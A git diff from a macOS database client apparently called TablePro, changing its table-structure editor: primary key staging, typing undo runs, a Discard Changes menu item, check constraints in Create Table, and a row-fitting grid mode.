 create mode 100644 apple/changelog.d/3872.fixed.6.md
 create mode 100644 apple/changelog.d/3872.fixed.7.md
 create mode 100644 apple/changelog.d/3872.fixed.8.md
 create mode 100644 apple/changelog.d/3872.fixed.md

diff --git a/.claude/rules/data-grid.md b/.claude/rules/data-grid.md
index 272876fd8b..ef60182664 100644
--- a/.claude/rules/data-grid.md
+++ b/.claude/rules/data-grid.md
@@ -30,6 +30,7 @@ Three layers, knowledge pointing one way: an owner's adapter, then `DataGridMode
 - **Row height, row count, reloads, inserts and removes reach both panes in one call**, so their document heights never differ.
 - **Vertical scroll stays in step through bounds-change notifications**: each pane's clip moves the other with `clipView.scroll(to:)` and `reflectScrolledClipView`, only when its y differs. Anywhere else scroll with `NSView.scroll(_:)`: moving a clip's x that way leaves the header behind.
 - **The frozen pane forwards every wheel event to the main scroll view**, so one momentum engine moves both.
+- **A `fitsRows` grid is as tall as its rows and scrolls only sideways.** It publishes `model.fittingHeight` for its host to size it, hands a vertical gesture to the enclosing scroll view (the axis is decided once per gesture), and reveals a row by scrolling that page. The Structure tab's sections use it.
 - **Frozen columns take at most two thirds of the grid** (`DataGridMetrics.maximumFrozenShare`). Columns past that scroll, and Freeze Up to This Column is refused in the menu.
 - **`DataGridTableView.scrollToVisible(_:)` widens the rect leftward by the frozen width**, so a revealed column never parks under the frozen pane.
 - **A column moves only within its side of the freeze line.** A freeze or unfreeze rebuilds both panes' column lists from the set, writing width and position explicitly: remove-then-add alone strands a column at the end and resets its width.
diff --git a/apple/.swiftlint.yml b/apple/.swiftlint.yml
index c31e1bc9cd..698a5f7bcd 100644
--- a/apple/.swiftlint.yml
+++ b/apple/.swiftlint.yml
@@ -214,7 +214,7 @@ custom_rules:
     severity: error
   appstorage_key_namespace:
     name: "AppStorage Key Namespace"
-    regex: '@AppStorage\(\s*"(?!com\.TablePro)(?!(?:hideExportSuccessDialog|skipSchemaPreview|structureCodeFontSize)")[^"\\]+"'
+    regex: '@AppStorage\(\s*"(?!com\.TablePro)(?!(?:hideExportSuccessDialog|structureCodeFontSize)")[^"\\]+"'
     excluded: ['.*/(Packages|Plugins)/']
     message: "Route an @AppStorage key through the preferences layer, under com.TablePro."
     severity: error
diff --git a/apple/TablePro/Core/DataGrid/DataGridModel.swift b/apple/TablePro/Core/DataGrid/DataGridModel.swift
index 9e9cd17f68..5e665060df 100644
--- a/apple/TablePro/Core/DataGrid/DataGridModel.swift
+++ b/apple/TablePro/Core/DataGrid/DataGridModel.swift
@@ -51,6 +51,8 @@ final class DataGridModel: ObservableObject {
     @Published private(set) var displayRevision = 0
     @Published private(set) var selectionRevision = 0
     @Published private(set) var editabilityRevision = 0
+    // What a fitsRows grid needs to show every row; the mounted view measures it.
+    @Published private(set) var fittingHeight: CGFloat = 0
 
     private(set) weak var mountedView: (any DataGridMountedView)?
     private var orderRevision = 0
@@ -456,6 +458,11 @@ final class DataGridModel: ObservableObject {
 
     var isMounted: Bool { mountedView != nil }
 
+    func setFittingHeight(_ height: CGFloat) {
+        guard height != fittingHeight else { return }
+        fittingHeight = height
+    }
+
     func revealColumn(_ id: DataGridColumnID) {
         guard let position = columns.displayPosition(of: id) else { return }
         mountedView?.revealColumn(position)
diff --git a/apple/TablePro/Core/Menu/FileMenuBuilder.swift b/apple/TablePro/Core/Menu/FileMenuBuilder.swift
index 7c01c4f0f6..0c01e01829 100644
--- a/apple/TablePro/Core/Menu/FileMenuBuilder.swift
+++ b/apple/TablePro/Core/Menu/FileMenuBuilder.swift
@@ -74,6 +74,10 @@ enum FileMenuBuilder {
                 shortcut: .saveChanges,
                 keyboard: keyboard
             ),
+            MenuItemFactory.item(
+                String(localized: "Discard Changes…"),
+                action: #selector(MainSplitViewController.discardChanges(_:))
+            ),
             MenuItemFactory.item(
                 String(localized: "Save As…"),
                 action: #selector(MainSplitViewController.saveDocumentAs(_:)),
diff --git a/apple/TablePro/Core/SchemaTracking/CreateTableStatementComposer.swift b/apple/TablePro/Core/SchemaTracking/CreateTableStatementComposer.swift
index 67550010d3..32bbab5f40 100644
--- a/apple/TablePro/Core/SchemaTracking/CreateTableStatementComposer.swift
+++ b/apple/TablePro/Core/SchemaTracking/CreateTableStatementComposer.swift
@@ -9,8 +9,7 @@ import TableProPluginKit
 struct CreateTableStatements {
     let statements: [String]
     let issues: [SchemaDraftIssue]
-    /// The name the statement actually creates, trimmed. The draft's own field may carry
-    /// surrounding whitespace, and opening the tab under that text loads a table nobody made.
+    // Trimmed: opening a tab under the draft's untrimmed text loads a table nobody made.
     let tableName: String?
 
     var preview: String {
@@ -18,8 +17,7 @@ struct CreateTableStatements {
     }
 }
 
-/// One statement per element, because a driver is only obliged to run one statement per
-/// `execute(query:)`: SQLite prepares with a nil tail, so anything after the first semicolon never runs.
+// One statement per element: a driver need only run one per execute, and SQLite drops anything after the first.
 @MainActor
 enum CreateTableStatementComposer {
     static func compose(
@@ -33,12 +31,12 @@ enum CreateTableStatementComposer {
 
         var issues = plan.issues
         let columnRefusals = definition.columns.compactMap { driver.schemaOperationRefusal(.addColumn($0)) }
-        issues += columnRefusals.map { SchemaDraftIssue(tab: .columns, row: nil, message: $0) }
-        var refusedIndexRows: Set<Int> = []
-        for (row, index) in plan.indexes.enumerated() {
+        issues += columnRefusals.map { SchemaDraftIssue(section: .columns, row: nil, message: $0) }
+        var refusedIndexes: Set<Int> = []
+        for (position, index) in plan.indexes.enumerated() {
             guard let reason = driver.schemaOperationRefusal(.addIndex(index)) else { continue }
-            refusedIndexRows.insert(row)
-            issues.append(SchemaDraftIssue(tab: .indexes, row: row, message: reason))
+            refusedIndexes.insert(position)
+            issues.append(SchemaDraftIssue(section: .indexes, row: plan.indexRow(at: position), message: reason))
         }
         guard columnRefusals.isEmpty else {
             return CreateTableStatements(statements: [], issues: issues, tableName: definition.tableName)
@@ -46,17 +44,17 @@ enum CreateTableStatementComposer {
 
         guard let createTable = driver.generateCreateTableStatements(definition: definition), !createTable.isEmpty else {
             issues.append(SchemaDraftIssue(
-                tab: .columns, row: nil,
+                section: .columns, row: nil,
                 message: String(localized: "This database cannot create a table from the visual editor.")
             ))
             return CreateTableStatements(statements: [], issues: issues, tableName: definition.tableName)
         }
 
         var statements = createTable
-        for (row, index) in plan.indexes.enumerated() where !refusedIndexRows.contains(row) {
+        for (position, index) in plan.indexes.enumerated() where !refusedIndexes.contains(position) {
             guard let sql = driver.generateAddIndexSQL(table: definition.tableName, index: index) else {
                 issues.append(SchemaDraftIssue(
-                    tab: .indexes, row: row,
+                    section: .indexes, row: plan.indexRow(at: position),
                     message: String(localized: "Create Table cannot add an index on this database.")
                 ))
                 continue
@@ -64,6 +62,17 @@ enum CreateTableStatementComposer {
             statements.append(sql)
         }
 
+        for (position, constraint) in plan.checkConstraints.enumerated() {
+            guard let sql = driver.generateAddCheckConstraintSQL(table: definition.tableName, constraint: constraint) else {
+                issues.append(SchemaDraftIssue(
+                    section: .checkConstraints, row: plan.checkConstraintRow(at: position),
+                    message: String(localized: "Create Table cannot add a check constraint on this database.")
+                ))
+                continue
+            }
+            statements.append(sql)
+        }
+
         if let comment = plan.tableComment {
             if let sql = driver.objectCommentStatement(
                 name: definition.tableName,
@@ -74,7 +83,7 @@ enum CreateTableStatementComposer {
                 statements.append(sql)
             } else {
                 issues.append(SchemaDraftIssue(
-                    tab: .columns, row: nil,
+                    section: .columns, row: nil,
                     message: String(localized: "This database cannot store a table comment.")
                 ))
             }
diff --git a/apple/TablePro/Core/SchemaTracking/SchemaStatementGenerator.swift b/apple/TablePro/Core/SchemaTracking/SchemaStatementGenerator.swift
index 5ecd62935d..73082f022b 100644
--- a/apple/TablePro/Core/SchemaTracking/SchemaStatementGenerator.swift
+++ b/apple/TablePro/Core/SchemaTracking/SchemaStatementGenerator.swift
@@ -58,7 +58,7 @@ struct SchemaStatementGenerator {
                 throw NSError(
                     domain: "SchemaStatementGenerator",
                     code: -1,
-                    userInfo: [NSLocalizedDescriptionKey: String(format: String(localized: "Unsupported schema operation: %@"), change.description)]
+                    userInfo: [NSLocalizedDescriptionKey: String(format: String(localized: "Unsupported schema operation: %@"), change.localizedDescription)]
                 )
             }
             for stmt in stmts {
@@ -175,10 +175,43 @@ struct SchemaStatementGenerator {
 
         let constraintHandoffs = Self.inNameOrder(constraintModifies)
         let indexHandoffs = Self.inNameOrder(indexAdds)
+        let keyHandoff = Self.keyDropsBeforeColumnDrops(pkChanges, columnDeletes: columnDeletes)
 
         return constraintDeletes + constraintHandoffs.drops + constraintHandoffs.ordered + fkDeletes
-            + indexDeletes + indexHandoffs.drops + columnDeletes + characterSetChanges + columnModifies + columnAdds
-            + pkChanges + autoIncrementChanges + indexHandoffs.ordered + fkAdds + constraintAdds + commentChanges
+            + indexDeletes + indexHandoffs.drops + keyHandoff.drops + columnDeletes + characterSetChanges
+            + columnModifies + columnAdds + keyHandoff.adds + autoIncrementChanges + indexHandoffs.ordered + fkAdds
+            + constraintAdds + commentChanges
+    }
+
+    // Dropping a key column takes the key with it, so the key's own DROP would then fail. A key whose every column is
+    // dropped is left to the database and only the new key is added; one that keeps some is dropped first.
+    private static func keyDropsBeforeColumnDrops(
+        _ keyChanges: [SchemaChange],
+        columnDeletes: [SchemaChange]
+    ) -> (drops: [SchemaChange], adds: [SchemaChange]) {
+        let dropped = Set(columnDeletes.compactMap { change -> String? in
+            guard case .deleteColumn(let column) = change else { return nil }
+            return column.name
+        })
+        var drops: [SchemaChange] = []
+        var adds: [SchemaChange] = []
+        for change in keyChanges {
+            guard case .modifyPrimaryKey(let old, let new) = change, !old.isEmpty, old.contains(where: dropped.contains) else {
+                adds.append(change)
+                continue
+            }
+            if old.allSatisfy(dropped.contains) {
+                if !new.isEmpty {
+                    adds.append(.modifyPrimaryKey(old: [], new: new))
+                }
+                continue
+            }
+            drops.append(.modifyPrimaryKey(old: old, new: []))
+            if !new.isEmpty {
+                adds.append(.modifyPrimaryKey(old: [], new: new))
+            }
+        }
+        return (drops, adds)
     }
 
     /// Orders changes that each give up one name and take another in a single step, a rename or a
diff --git a/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift b/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift
index c836751365..68e54b12b5 100644
--- a/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift
+++ b/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift
@@ -31,7 +31,9 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
     @Published var workingIndexes: [EditableIndexDefinition] = []
     @Published var workingForeignKeys: [EditableForeignKeyDefinition] = []
     @Published var workingCheckConstraints: [EditableCheckConstraintDefinition] = []
-    @Published var workingPrimaryKey: [String] = []
+    // Derived from the columns after every change: the ones that stay and are marked Primary Key, the loaded members in
+    // the loaded key's order, new ones after them in column order. A key nobody changed follows a rename by itself.
+    @Published private(set) var workingPrimaryKey: [String] = []
 
     @Published var tableName: String?
 
@@ -85,18 +87,41 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         return manager
     }()
 
-    var canUndo: Bool { !isHeldForSave && (undoManager.canUndo || hasTableCommentRun) }
-    var canRedo: Bool { !isHeldForSave && !hasTableCommentRun && undoManager.canRedo }
+    var canUndo: Bool { !isHeldForSave && (undoManager.canUndo || hasTableCommentRun || typingRun != nil) }
+    var canRedo: Bool { !isHeldForSave && !hasTableCommentRun && typingRun == nil && undoManager.canRedo }
 
-    /// The DDL and Triggers sub-tabs show no grid, so undo there reaches only the comment.
-    var undoesTableCommentNext: Bool {
-        hasTableCommentRun || (undoManager.canUndo && undoManager.undoActionName == Self.tableCommentActionName)
+    var undoMenuItemTitle: String {
+        if hasTableCommentRun { return undoManager.undoMenuTitle(forUndoActionName: Self.tableCommentActionName) }
+        if let typingRun { return undoManager.undoMenuTitle(forUndoActionName: typingRun.actionName) }
+        return undoManager.undoMenuItemTitle
     }
 
-    var redoesTableCommentNext: Bool {
-        !hasTableCommentRun && undoManager.canRedo && undoManager.redoActionName == Self.tableCommentActionName
+    // Typing in one field of one definition: every keystroke is staged, so Save, Refresh and the close prompt see it,
+    // and the whole run undoes as one step. Anything else that registers an undo ends it first.
+    private var typingRun: (key: String, actionName: String)?
+    private var isStagingTyping = false
+
+    func stageTyping(in key: String, actionName: String, _ body: () -> Void) {
+        guard !isHeldForSave else { return }
+        if typingRun?.key != key { endTypingRun() }
+        if typingRun == nil {
+            endTableCommentRun()
+            undoManager.beginUndoGrouping()
+            typingRun = (key, actionName)
+        }
+        isStagingTyping = true
+        defer { isStagingTyping = false }
+        body()
     }
 
+    func endTypingRun() {
+        guard typingRun != nil else { return }
+        typingRun = nil
+        undoManager.endUndoGrouping()
+    }
+
+    var redoMenuItemTitle: String { undoManager.redoMenuItemTitle }
+
     /// Mirrors `DataChangeManager.registerUndo`. The `groupingLevel` check is what lets
     /// `performAsOneUndoStep` nest: inside one, a group is already open and this adds to it rather
     /// than closing a group the batch still needs. An open comment run ends first, so an edit made
@@ -104,6 +129,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
     private func registerUndo(_ actionName: String, _ handler: @escaping (StructureChangeManager) -> Void) {
         if !undoManager.isUndoing, !undoManager.isRedoing {
             endTableCommentRun()
+            if !isStagingTyping { endTypingRun() }
         }
         let opensOwnGroup = !undoManager.groupsByEvent && undoManager.groupingLevel == 0
         if opensOwnGroup { undoManager.beginUndoGrouping() }
@@ -118,6 +144,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
     func performAsOneUndoStep(_ body: () -> Void) {
         guard !isHeldForSave else { return }
         endTableCommentRun()
+        if !isStagingTyping { endTypingRun() }
         undoManager.beginUndoGrouping()
         defer { undoManager.endUndoGrouping() }
         body()
@@ -137,6 +164,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         autoIncrementConfirmed: Bool = true
     ) {
         guard !isHeldForSave else { return }
+        endTypingRun()
         self.tableName = tableName
         self.tableComment = ObjectCommentDraft(original: tableComment)
         tableCommentRunStart = nil
@@ -155,6 +183,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         self.currentForeignKeys = EditableForeignKeyDefinition.grouping(foreignKeys).sorted { $0.name < $1.name }
         self.currentCheckConstraints = checkConstraints.map { EditableCheckConstraintDefinition.from($0) }
         self.currentPrimaryKey = primaryKey
+        keepIdentitiesAcrossReload()
 
         resetWorkingState()
 
@@ -169,6 +198,34 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         reloadVersion += 1
     }
 
+    // Every fetch mints fresh ids; a definition that comes back under a name it had keeps its id, so the grid
+    // selection and the inspector survive a refresh or a save.
+    private func keepIdentitiesAcrossReload() {
+        currentColumns = Self.keepingIDs(of: currentColumns, from: workingColumns, \.name, \.id)
+        currentIndexes = Self.keepingIDs(of: currentIndexes, from: workingIndexes, \.name, \.id)
+        currentForeignKeys = Self.keepingIDs(of: currentForeignKeys, from: workingForeignKeys, \.name, \.id)
+        currentCheckConstraints = Self.keepingIDs(of: currentCheckConstraints, from: workingCheckConstraints, \.name, \.id)
+    }
+
+    private static func keepingIDs<Entity>(
+        of loaded: [Entity],
+        from earlier: [Entity],
+        _ name: KeyPath<Entity, String>,
+        _ id: WritableKeyPath<Entity, UUID>
+    ) -> [Entity] {
+        var ids: [String: UUID] = [:]
+        for entity in earlier where !entity[keyPath: name].isEmpty && ids[entity[keyPath: name]] == nil {
+            ids[entity[keyPath: name]] = entity[keyPath: id]
+        }
+        var used = Set<UUID>()
+        return loaded.map { entity in
+            guard let previous = ids[entity[keyPath: name]], used.insert(previous).inserted else { return entity }
+            var kept = entity
+            kept[keyPath: id] = previous
+            return kept
+        }
+    }
+
     private func resetWorkingState() {
         workingColumns = currentColumns
         workingIndexes = currentIndexes
@@ -312,7 +369,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         let key = operations.identifier(id)
         if let currentIndex = self[keyPath: operations.current].firstIndex(where: { $0.id == id }) {
             let oldEntity = self[keyPath: operations.current][currentIndex]
-            if oldEntity != newEntity {
+            if operations.needsStatement(oldEntity, newEntity) {
                 pendingChanges[key] = operations.modification(oldEntity, newEntity)
                 trackChangeKey(key)
             } else {
@@ -367,7 +424,12 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         deletionUndo: { SchemaUndoAction.columnDelete(column: $0, at: $1) },
         addActionName: String(localized: "Add Column"),
         editActionName: String(localized: "Edit Column"),
-        deleteActionName: String(localized: "Delete Column")
+        deleteActionName: String(localized: "Delete Column"),
+        needsStatement: { loaded, working in
+            var working = working
+            working.isPrimaryKey = loaded.isPrimaryKey
+            return loaded != working
+        }
     )
 
     private static let indexOperations = SchemaEntityOperations<EditableIndexDefinition>(
@@ -418,45 +480,45 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
 
     // MARK: - Row-Specific Undo Delete
 
-    /// Clear the deletion mark for the entity at `row` in `tab`. Mirrors
-    /// `DataChangeManager.undoRowDeletion(rowID:)`: the global NSUndoManager
-    /// stack is intentionally left alone. The original `applySchemaUndo(...)`
-    /// handler the deletion registered remains on the stack; if global Cmd+Z
-    /// later invokes it, the handler finds `pendingChanges` no longer marks
-    /// this row as deleted and treats the redo as a no-op for this entity. The
-    /// row-specific affordance and the global undo stack are independent
-    /// affordances. The data tab uses the same separation.
-    func undoDelete(for tab: StructureTab, at row: Int) {
+    // The row's own Undo Delete leaves the global stack alone, like the data tab's; an edit made before the
+    // delete is staged again, since the working copy still shows it.
+    func undoDelete(section: StructureSection, id: UUID) {
         guard !isHeldForSave else { return }
-        let key: SchemaChangeIdentifier
-        switch tab {
-        case .columns:
-            guard row < workingColumns.count else { return }
-            key = .column(workingColumns[row].id)
-        case .indexes:
-            guard row < workingIndexes.count else { return }
-            key = .index(workingIndexes[row].id)
-        case .foreignKeys:
-            guard row < workingForeignKeys.count else { return }
-            key = .foreignKey(workingForeignKeys[row].id)
-        case .checkConstraints:
-            guard row < workingCheckConstraints.count else { return }
-            key = .checkConstraint(workingCheckConstraints[row].id)
-        case .ddl, .parts, .triggers, .options:
-            return
+        switch section {
+        case .columns: undoDeletion(id: id, using: Self.columnOperations)
+        case .indexes: undoDeletion(id: id, using: Self.indexOperations)
+        case .foreignKeys: undoDeletion(id: id, using: Self.foreignKeyOperations)
+        case .checkConstraints: undoDeletion(id: id, using: Self.checkConstraintOperations)
         }
+    }
+
+    private func undoDeletion<Entity>(id: UUID, using operations: SchemaEntityOperations<Entity>) {
+        let key = operations.identifier(id)
         guard pendingChanges[key]?.isDelete == true else { return }
-        pendingChanges.removeValue(forKey: key)
-        untrackChangeKey(key)
+        restageEdit(id: id, using: operations)
         workingCopyDidChange()
     }
 
+    private func restageEdit<Entity>(id: UUID, using operations: SchemaEntityOperations<Entity>) {
+        let key = operations.identifier(id)
+        guard let loaded = self[keyPath: operations.current].first(where: { $0.id == id }),
+              let working = self[keyPath: operations.working].first(where: { $0.id == id }),
+              operations.needsStatement(loaded, working) else {
+            pendingChanges.removeValue(forKey: key)
+            untrackChangeKey(key)
+            return
+        }
+        pendingChanges[key] = operations.modification(loaded, working)
+        trackChangeKey(key)
+    }
+
     // MARK: - Validation
 
     /// Runs after every change to the working copy, undo and redo included: first what the change
     /// decides for rows it did not touch, then validation.
     private func workingCopyDidChange() {
         settleClusteredAdditions()
+        restagePrimaryKey()
         validate()
     }
 
@@ -752,6 +814,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
 
     func discardChanges() {
         guard !isHeldForSave else { return }
+        endTypingRun()
         tableComment = ObjectCommentDraft(original: tableComment.original)
         tableCommentRunStart = nil
         tableOptions = TableOptionsDraft(
@@ -777,6 +840,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
     /// Taken before the save's first suspension, which is what refuses a second press.
     func holdForSave() -> StructureSaveSnapshot? {
         endTableCommentRun()
+        endTypingRun()
         guard heldSave == nil, hasChanges else { return nil }
         let snapshot = StructureSaveSnapshot(changes: getChangesArray())
         heldSave = snapshot
@@ -818,6 +882,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
     func undo() {
         guard !isHeldForSave else { return }
         endTableCommentRun()
+        endTypingRun()
         guard undoManager.canUndo else { return }
         undoManager.undo()
     }
@@ -825,6 +890,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
     func redo() {
         guard !isHeldForSave else { return }
         endTableCommentRun()
+        endTypingRun()
         guard undoManager.canRedo else { return }
         undoManager.redo()
     }
@@ -944,8 +1010,8 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
             applyAdditionUndo(constraint, using: Self.checkConstraintOperations)
         case .checkConstraintDelete(let constraint, let at):
             applyDeletionUndo(constraint, at: at, using: Self.checkConstraintOperations)
-        case .primaryKeyChange(let old, _):
-            applyPrimaryKeyChangeUndo(old: old)
+        case .primaryKeyChange:
+            restagePrimaryKey()
         case .tableCommentEdit(let old, let new):
             applyTableCommentUndo(old: old, new: new)
         case .tableOptionsEdit(let old, let new):
@@ -973,7 +1039,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
             return
         }
         let current = self[keyPath: operations.current][currentIndex]
-        if old != current {
+        if operations.needsStatement(current, old) {
             pendingChanges[key] = operations.modification(current, old)
             trackChangeKey(key)
         } else {
@@ -1008,8 +1074,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         }
         let key = operations.identifier(entity.id)
         if self[keyPath: operations.current].contains(where: { $0.id == entity.id }) {
-            pendingChanges.removeValue(forKey: key)
-            untrackChangeKey(key)
+            restageEdit(id: entity.id, using: operations)
         } else {
             if let row, row < self[keyPath: operations.working].count {
                 self[keyPath: operations.working].insert(entity, at: row)
@@ -1021,19 +1086,31 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
         }
     }
 
-    private func applyPrimaryKeyChangeUndo(old: [String]) {
-        let current = workingPrimaryKey
-        registerUndo(String(localized: "Change Primary Key")) { target in
-            target.applySchemaUndo(.primaryKeyChange(old: current, new: old))
+    // MARK: - Primary key
+
+    private func restagePrimaryKey() {
+        let loadedIDs = currentPrimaryKey.compactMap { name in currentColumns.first { $0.name == name }?.id }
+        let key = SchemaChangeIdentifier.primaryKey
+        // A key naming a column that was not read (a failed read, an expression key) is left as it was loaded.
+        guard loadedIDs.count == currentPrimaryKey.count else {
+            workingPrimaryKey = currentPrimaryKey
+            pendingChanges.removeValue(forKey: key)
+            untrackChangeKey(key)
+            return
         }
-        workingPrimaryKey = old
-        let pkKey = SchemaChangeIdentifier.primaryKey
-        if workingPrimaryKey != currentPrimaryKey {
-            pendingChanges[pkKey] = .modifyPrimaryKey(old: currentPrimaryKey, new: workingPrimaryKey)
-            trackChangeKey(pkKey)
+        let members = workingColumns.filter { $0.isPrimaryKey && !isPendingDeletion(.column($0.id)) }
+        let ordered = loadedIDs.compactMap { id in members.first { $0.id == id } }
+            + members.filter { !loadedIDs.contains($0.id) }
+        workingPrimaryKey = ordered.map(\.name)
+        // A key that only loses columns being dropped needs no statement: the database takes them out with the column,
+        // and on MySQL an AUTO_INCREMENT key cannot be dropped before its column.
+        let survivingLoadedIDs = loadedIDs.filter { !isPendingDeletion(.column($0)) }
+        if ordered.map(\.id) == loadedIDs || ordered.map(\.id) == survivingLoadedIDs {
+            pendingChanges.removeValue(forKey: key)
+            untrackChangeKey(key)
         } else {
-            pendingChanges.removeValue(forKey: pkKey)
-            untrackChangeKey(pkKey)
+            pendingChanges[key] = .modifyPrimaryKey(old: currentPrimaryKey, new: workingPrimaryKey)
+            trackChangeKey(key)
         }
     }
 
@@ -1045,7 +1122,7 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
     /// merges the result of this method with `modifiedColumns` from
     /// `StructureEditingSupport` field-diff helpers to build the final
     /// `RowVisualState`.
-    func deleteInsertState(for row: Int, tab: StructureTab) -> (isDeleted: Bool, isInserted: Bool) {
+    func deleteInsertState(for row: Int, tab: StructureSection) -> (isDeleted: Bool, isInserted: Bool) {
         switch tab {
         case .columns:
             return rowState(at: row, using: Self.columnOperations)
@@ -1055,8 +1132,6 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
             return rowState(at: row, using: Self.foreignKeyOperations)
         case .checkConstraints:
             return rowState(at: row, using: Self.checkConstraintOperations)
-        case .ddl, .parts, .triggers, .options:
-            return (false, false)
         }
     }
 
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+FileMenuActions.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+FileMenuActions.swift
index ba189144e1..879cd2c8c3 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+FileMenuActions.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+FileMenuActions.swift
@@ -14,6 +14,10 @@ extension MainSplitViewController {
         commandActions?.saveFileAs()
     }
 
+    @objc func discardChanges(_ sender: Any?) {
+        commandActions?.discardChanges()
+    }
+
     /// New Tab and Close Tab used to run AppKit's own `newWindowForTab:` and `performClose:`,
     /// which named windows because a tab was a window. They act on the tab list now, so the
     /// menu and the strip's own controls cannot disagree.
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift
index df49ca366a..ffed17eda9 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift
@@ -43,6 +43,8 @@ struct MenuValidationContext: Equatable {
     // A batch whose COMMIT is on the wire is executing yet unstoppable, and Cmd+. must dim rather than fire into it.
     var isQueryStoppable = false
     var hasQueryText = false
+    // A Create Table tab runs its statement with Execute (Cmd+Return), as its old Create Table button did.
+    var canCreateDraftTable = false
     var canRunAIQueryActions = false
     var canClearQuery = false
     var canClearResults = false
@@ -50,6 +52,8 @@ struct MenuValidationContext: Equatable {
     // Save commits an edit still open in the grid before it looks for changes.
     var hasOpenGridEdit = false
     var hasDataPendingChanges = false
+    // The selected tab's staged structure edits, or its grid edits; Create Table has nothing to return to.
+    var canDiscardChanges = false
     var hasRowSelection = false
     // Copy with headers and Copy as JSON read the data grid's columns, so the structure grid's selection does not count.
     var hasDataGridRowSelection = false
@@ -175,6 +179,8 @@ extension MainSplitViewController: NSMenuItemValidation {
 
         case #selector(saveDocument(_:)):
             return context.isConnected && !context.isReadOnly && (context.hasPendingChanges || context.hasOpenGridEdit)
+        case #selector(discardChanges(_:)):
+            return context.isConnected && context.canDiscardChanges
         case #selector(saveDocumentAs(_:)):
             return context.isConnected && context.isQueryTab
         case #selector(exportQueryResults(_:)):
@@ -434,6 +440,7 @@ extension MainSplitViewController: NSMenuItemValidation {
     private static let browseContentSelectors: Set<Selector> = [
         #selector(refreshDatabase(_:)),
         #selector(saveDocument(_:)),
+        #selector(discardChanges(_:)),
         #selector(addRow(_:)),
         #selector(restorePreviousValues(_:)),
         #selector(editDocument(_:)),
@@ -477,8 +484,9 @@ extension MainSplitViewController: NSMenuItemValidation {
 
     private static func isQueryCommandEnabled(_ selector: Selector, context: MenuValidationContext) -> Bool? {
         switch selector {
-        case #selector(executeQuery(_:)),
-             #selector(executeAllStatements(_:)),
+        case #selector(executeQuery(_:)):
+            return context.isConnected && (context.hasQueryText || context.canCreateDraftTable)
+        case #selector(executeAllStatements(_:)),
              #selector(executeQueryWithoutLimit(_:)):
             return context.isConnected && context.hasQueryText
         case #selector(formatQuery(_:)):
@@ -582,12 +590,14 @@ extension MainSplitViewController: NSMenuItemValidation {
             isQueryExecuting: actions.isQueryExecuting,
             isQueryStoppable: actions.isQueryStoppable,
             hasQueryText: actions.hasQueryText,
+            canCreateDraftTable: actions.canCreateDraftTable,
             canRunAIQueryActions: actions.aiQueryActionAvailability.isEnabled,
             canClearQuery: actions.canClearQuery,
             canClearResults: actions.canClearResults,
             hasPendingChanges: actions.hasPendingChanges,
             hasOpenGridEdit: actions.hasOpenGridEdit,
             hasDataPendingChanges: actions.hasDataPendingChanges,
+            canDiscardChanges: actions.canDiscardChanges,
             hasRowSelection: actions.hasRowSelection,
             hasDataGridRowSelection: actions.hasDataGridRowSelection,
             hasTableSelection: actions.hasTableSelection,
diff --git a/apple/TablePro/Models/Connection/ConnectionToolbarState.swift b/apple/TablePro/Models/Connection/ConnectionToolbarState.swift
index 38ee3fb4a8..ed8460e957 100644
--- a/apple/TablePro/Models/Connection/ConnectionToolbarState.swift
+++ b/apple/TablePro/Models/Connection/ConnectionToolbarState.swift
@@ -130,8 +130,6 @@ final class ConnectionToolbarState: ObservableObject {
     /// Whether there are pending data grid changes (for SQL preview button)
     @Published var hasDataPendingChanges: Bool = false
 
-    /// Whether the structure view has pending schema changes
-    @Published var hasStructureChanges: Bool = false
 
     // Bumped when a diagram's staged edits come or go; the pending state reads the diagram itself.
     @Published var diagramEditsRevision = 0
diff --git a/apple/TablePro/Models/Query/ResultStatusModel.swift b/apple/TablePro/Models/Query/ResultStatusModel.swift
index 6e9925fe0f..665075df18 100644
--- a/apple/TablePro/Models/Query/ResultStatusModel.swift
+++ b/apple/TablePro/Models/Query/ResultStatusModel.swift
@@ -48,9 +48,6 @@ struct ResultStatusControls: Equatable {
     /// First, Previous, Next, Last and the page number, which an engine that cannot skip rows has
     /// no use for. The rows-per-page menu stays, because it still sets how many leading rows load.
     var showsPageNavigation = false
-    /// The structure editor's add and remove pair, which is this bar's trailing cluster while the
-    /// structure editor is the content.
-    var showsStructureActions = false
     /// Only the data grid has cells to sum. JSON and Map report the row selection, not cells.
     var showsSelectionSummary = false
 }
@@ -95,7 +92,6 @@ struct ResultStatusModel: Equatable {
         let isTable = snapshot.tabType == .table
 
         controls.showsModeSwitcher = snapshot.availableModes.count > 1
-        controls.showsStructureActions = viewMode == .structure && snapshot.hasStructureActions
